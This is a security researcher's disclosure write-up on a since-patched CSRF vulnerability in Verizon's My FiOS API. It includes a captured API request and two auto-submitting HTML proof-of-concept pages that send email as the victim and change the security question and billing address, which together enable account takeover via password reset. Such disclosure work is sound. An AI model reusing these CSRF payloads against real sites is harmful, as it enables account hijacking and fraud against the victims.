Hijacking Verizon FiOS Accounts

I have written about some of my research into the Verizon My FiOS app in the past, including a vulnerability that compromised the email accounts of all users. I recently revisited this app after considering another possible attack vector against the My FiOS APIs. As a result, I identified a vulnerability that would have allowed an attacker to completely steal another user’s Verizon FiOS account, permitting him to access the victim’s email, payment information, personal information, as well as the ability to perform any user account operation on the victim’s behalf.

I started by reviewing some of the API traffic again, remembering that the API seemed to authenticate with cookies rather than OAuth (or a similar standard):

GET http://www.verizon.com/mobilesvc/messagecenter/members/service/getEmail?format=json&uid=RWESTERGREN05&failOverSize=25&failOverStart=0&fid=INBOX HTTP/1.1
Host: www.verizon.com
Connection: Keep-Alive
Cookie: dotcomsid=***REMOVED***; webmailssoID=***REMOVED***
Cookie2: $Version=1
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.4.2; SCH-I545 Build/KOT49H) appversioncode [9121]
devId: 4d6acc45e433f97f
appId: com.verizon.oxygen
appVer: v2.10.11-9121
os: ANDROID
osVer: 4.4.2
csid: ***REMOVED***
model: samsung:SCH-I545
cid: Verizon Wireless
net: TYPE_WIFI
sid: RWESTERGREN05
pd: 
userinfo: ***REMOVED***

I suspected that this authentication scheme was shared across the app and the website, meaning cookies issued via the web application might work when performing API requests. I attempted to prove this by logging into Verizon’s main management portal from a desktop and pointing my browser to the URL in the above request. Since the browser request to the API returned the contents of my inbox (just as the app would have), I was able to confirm my suspicion. Even more interestingly, this seemed to expose the REST API to an attack that Verizon hadn’t anticipated: CSRF.

REST APIs can be vulnerable to the same CSRF attacks as web applications if they support the same cookies for authentication, yet don’t take additional measures to protect against such browser attacks. In order to test this, I wrote a quick PoC that would attempt to ride a user’s session to send an email on his behalf:

<html>
<head></head>
<body onload="document.forms[0].submit();">
	<h1>Verizon CSRF PoC</h1>
	
	<!-- Send email -->
	<iframe name="send" style="display:none"></iframe>
	
    <form target="send" action="https://www.verizon.com/mobilesvc/messagecenter/members/service/sendEmail" method="POST">
        <input type="hidden" name="omid" value="">
        <input type="hidden" name="action" value="4">
        <input type="hidden" name="actionType" value="">
        <input type="hidden" name="Event" value="ComposeEmail">
        <input type="hidden" name="NetworkStatus" value="Y">
        <input type="hidden" name="fid" value="Inbox">
        <input type="hidden" name="uid" value="">
        <input type="hidden" name="mailTo" value="[email protected]">
        <input type="hidden" name="mailSub" value="Test PoC">
        <input type="hidden" name="mailBody" value="test&amp;nbsp;email&amp;nbsp;body">
        <input type="hidden" name="mailCC" value="">
        <input type="hidden" name="mailBcc" value="">
        <input type="hidden" name="attachment" value="">
    </form>
</body>
</html>

I created a malicious page with the above code and opened it in my browser. Almost immediately, I received the test email. This gave me reason to believe that all of the REST API endpoints would be vulnerable to similar attacks.

Though sending emails on another user’s behalf is a serious enough risk, I was curious in how an attacker might combine several of these requests to inflict more significant damage. This led me to walk through the “Forgot My Password” functionality offered in the web application. The first step is knowing the victim’s User ID and Zip Code:

Next, the attacker can request a temporary password be sent via text message or email — but he can also answer a security question:

After answering the above question, the user is prompted to enter a new password — that’s it. But conveniently enough, all of these values were able to be updated from the MyFiOS REST API. This means an attacker could have very easily leveraged this vulnerability to hijack another user’s account by simply having them visit a malicious page:

<html>
<head></head>
<body onload="document.forms[0].submit(); document.forms[1].submit();">
	<h1>Verizon CSRF PoC</h1>
	
	<!-- Send email -->
	<iframe name="send" style="display:none"></iframe>
	
    <form target="send" action="https://www.verizon.com/mobilesvc/messagecenter/members/service/sendEmail" method="POST">
        <input type="hidden" name="omid" value="">
        <input type="hidden" name="action" value="4">
        <input type="hidden" name="actionType" value="">
        <input type="hidden" name="Event" value="ComposeEmail">
        <input type="hidden" name="NetworkStatus" value="Y">
        <input type="hidden" name="fid" value="Inbox">
        <input type="hidden" name="uid" value="">
        <input type="hidden" name="mailTo" value="***REMOVED***">
        <input type="hidden" name="mailSub" value="Test PoC">
        <input type="hidden" name="mailBody" value="test&amp;nbsp;email&amp;nbsp;body">
        <input type="hidden" name="mailCC" value="">
        <input type="hidden" name="mailBcc" value="">
        <input type="hidden" name="attachment" value="">
    </form>
    
	<!-- Change security question -->
	<iframe name="question" style="display:none"></iframe>
    
    <form  target="question" action="https://www.verizon.com/foryourhome/equickpay/myvzhome/myverizon/api/acctpro/3" method="POST">
        <input type="hidden" name="pstach" value='{"type":"1","SecQue":"What is the first name of your best friend?","SecAns":"Csrf"}'>
    </form>
	
	<!-- Change billing zip -->	
	<iframe src="https://m.verizon.com/mforyourhome/mo/MyVerizon/channelcheckoutHelper.aspx?action=CBAFLOW&submitclick=N&incareof=&poboxselected=false&state=DE&zipcode=***REMOVED***&city=***REMOVED***&bldgnum=***REMOVED***&prefix=&streetname=***REMOVED***&unittype=&unitnum=" style="display:none></iframe>

</body>
</html>

Note that even JSON payloads are possible (as seen in the security questions request). Though the responses generally aren’t available to the PoC client-side, here’s an example response from the zip code request:

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Date: Sun, 10 Jan 2016 19:29:13 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-EC-Security-Audit: 403
X-Powered-By: ASP.NET
Content-Length: 86

{"status":"success","newbillingaddress":"***REMOVED***"}

The above attack starts by sending an email to the attacker (from the victim). This reports back to him both that an attack has been successful, as well as the victim’s email address (typically, this is also the User ID for the account). Simultaneously, the PoC executes requests that change both the security questions and the zip code on the victim’s Verizon account. Almost immediately, an attacker would have been able to move through the Forgot Password functionality above (using the information he set in the PoC) and reset the victim’s password.

I’ve always had a great experience when reporting vulnerabilities to Verizon and this disclosure was not much different. Verizon’s security team immediately took the report seriously and implemented steps to mitigate the impact.

Disclosure Timeline

2015-10-14: Initial report/PoC sent to Verizon
2015-10-15: Verizon setup a call w/ me to discuss the report and impact in detail
2015-10-27: I follow up w/ Verizon — they reply requesting a few more days before an update
2015-11-03: Verizon informed me that a fix was released
2015-11-05: I test and confirm patch

Verizon’s security team quickly assessed the impact of the vulnerability and made sure to keep me in the loop throughout the process. They repeatedly expressed their appreciation for the report, even arranging for a six-month credit of my Verizon Wireless bill.

Share this: Facebooktwitterlinkedin